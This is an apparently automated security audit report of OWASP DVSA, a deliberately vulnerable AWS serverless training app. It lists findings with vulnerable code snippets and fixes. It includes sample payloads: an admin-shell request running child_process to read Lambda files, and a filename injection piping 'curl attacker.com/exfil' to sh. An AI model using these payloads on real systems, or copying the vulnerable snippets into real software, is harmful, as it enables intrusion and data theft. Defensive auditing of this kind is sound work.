Assessment Date: 2024
Application: OWASP DVSA (Damn Vulnerable Serverless Application)
Architecture: AWS Serverless (Lambda, API Gateway, DynamoDB, S3, Cognito)
Risk Rating: CRITICAL – Multiple exploitable vulnerabilities present
DVSA is an intentionally vulnerable serverless application designed for security training. This audit identified 15+ critical or high-severity vulnerabilities exhibiting common serverless security anti-patterns. Key risks include remote code execution (RCE), command and code injection, insecure deserialization, and overprivileged IAM policies.
Location: backend/functions/admin/admin_shell.js
Description:
A critical vulnerability allows arbitrary JavaScript code execution through eval() in the admin_shell.js Lambda. Admin users can execute any code on the Lambda runtime.
if (cmd) {
try {
eval(cmd); // CRITICAL: Arbitrary code execution
res = "ok";
} catch (error) {
console.error(error);
}
}
Impact:
POST /admin-shell
{
"userId": "<admin_id>",
"cmd": "require('child_process').execSync('cat /var/task/*').toString()"
}
Remediation:
eval() completely; use only whitelisted operationsLocation: backend/functions/processing/feedback_uploads.py
Description:
Uses os.system() with user-controlled filenames from S3 event notifications, allowing arbitrary command execution.
filename = parse.unquote_plus(event["Records"][0]["s3"]["object"]["key"])
os.system("touch /tmp/{} /tmp/{}.txt".format(filename, filename)) # COMMAND INJECTION
Impact:
"; curl attacker.com/exfil | sh #)subprocess with argument listsLocation: backend/functions/admin/admin_update_orders.py
Description:
Uses jsonpickle.decode() on user-controlled input, enabling remote code execution through Python object deserialization.
unpickled = jsonpickle.decode(json.dumps(response["Item"], cls=DecimalEncoder))
Impact:
jsonpickle with Python’s standard json moduleLocation: backend/functions/admin/admin_get_orders.py
Description:
User input is concatenated into Python code and executed via eval() in the DynamoDB FilterExpression.
fe = "Attr('paymentTS').between(dateFrom, dateTo)"
orderId = "" if 'orderId' not in event else " & Attr('orderId').eq(event['orderId'])"
fe = fe + orderId + userId + status
response = table.scan(FilterExpression=eval(fe)) # CODE INJECTION
Impact:
boto3’s Attr() methods directly without eval()Location: backend/functions/processing/create_receipt.py
Description:
SQLite queries built using string concatenation with user-controlled IDs.
res = cur.execute("SELECT itemId, name, price FROM inventory WHERE itemId = " + item_id + ";")
Impact:
cur.execute("SELECT ... WHERE itemId = ?", (item_id,))Location: backend/functions/processing/send_receipt_email.py
Description:
User-controlled date or metadata flows into os.system() through shell string formatting.
os.system(f'echo -e "\t----------------------\n\t\tDate: {date}" >> ' + download_path)
Impact:
open(download_path, 'a').write(...)Location: backend/functions/user/user_create.py
Description:
Users can make themselves admins by supplying an Admin: true attribute during registration.
if "Admin" in event["request"]["userAttributes"] and event["request"]["userAttributes"]["Admin"] == True:
isAdmin = True
Impact:
Location: backend/functions/order/get_order.py
Description:
The isAdmin parameter is user-controlled, allowing any user to access any order by passing isAdmin: true.
is_admin = event.get("isAdmin", False)
if is_admin:
response = table.query(KeyConditionExpression=Key('orderId').eq(orderId))
Impact:
Location: template.yml
Description:
Multiple Lambda functions granted DynamoDB CRUD on '*' (all tables) rather than specific resources.
Policies:
- DynamoDBCrudPolicy:
TableName: '*'
Impact:
Location: template.yml
Description:
FeedbackUploadFunction has AmazonS3FullAccess and AWSLambda_FullAccess, SendReceiptFunction has S3CrudPolicy on all buckets.
FeedbackUploadFunction:
Policies:
- AWSLambda_FullAccess
- AmazonS3FullAccess
SendReceiptFunction:
Policies:
- S3CrudPolicy:
BucketName: '*'
Impact:
Location: template.yml
Description:
Cognito User Pool is configured with minimum 6-character passwords and no complexity requirements.
PasswordPolicy:
RequireLowercase: false
RequireSymbols: false
RequireNumbers: false
MinimumLength: 6
RequireUppercase: false
Impact:
Location: backend/functions/admin/admin_shell.js
Description:
Authenticated admin users can read arbitrary files on the Lambda's disk.
const filename = "/tmp/"+ body.file;
res = fs.readFileSync(filename, 'utf8');
Impact:
Location: backend/functions/admin/admin_tweet.py
Description:
The Twitter API endpoint is constructed from user input with no validation, allowing internal requests (e.g., to AWS instance metadata).
action = event['api']
url = '{}{}'.format(twitter_api, action)
req = urllib2.Request(url, data=data, headers=auth_header)
Impact:
api parameter; reject user-supplied hostsLocation: backend/functions/admin/admin_get_receipts.py
Description:
Unvalidated year/month/day parameters are used to construct S3 prefixes.
prefix = "{}/{}/{}".format(y, m, d)
Impact:
^[0-9]{4}$ for year and ^[0-9]{2}$ for month/dayLocation: template.yml
Description:
API Gateway allows all origins (*).
Cors:
AllowMethods: "'*'"
AllowHeaders: "'*'"
AllowOrigin: "'*'"
Impact:
backend/functions/admin/admin_update_inventory.pybackend/functions/user/user_profile.pyisAdmin check in admin_shell.js relies only on DynamoDB, not JWT tokens, and can be bypassed if the userId is guessable.
backend/functions/cronjobs/cron_cleaner.py| Function | Excessive Permission | Risk |
|---|---|---|
| OrderCompleteFunction | DynamoDBCrudPolicy on '*' | Access to all DynamoDB tables |
| CreateReceiptFunction | DynamoDBCrudPolicy on '*' | Access to all DynamoDB tables |
| SendReceiptFunction | S3CrudPolicy on '*' | Access to all S3 buckets |
| SendReceiptFunction | DynamoDBCrudPolicy on '*' | Access to all DynamoDB tables |
| FeedbackUploadFunction | AWSLambda_FullAccess | Full Lambda management access |
| FeedbackUploadFunction | AmazonS3FullAccess | Full S3 access account-wide |
| OrderManagerFunction | CloudWatchLogsFullAccess | Full CloudWatch Logs access |
| OrderManagerFunction | AmazonCognitoPowerUser | User management privileges |
ADMIN_NO_SRP_AUTH used instead of SRP*)eval() backdoor is an extreme riskos.system() calls with safe Python file operationsjsonpickle; use standard json libraryThis application violates several security standards:
DVSA contains intentional vulnerabilities for educational purposes only. If ever deployed with production credentials or customer data, it presents critical security risks. The combination of RCE, command injection, and excessive IAM privileges could easily result in a total AWS account compromise.
Risk Rating: CRITICAL – DO NOT DEPLOY IN PRODUCTION ENVIRONMENTS
Report generated by automated security analysis of the DVSA codebase.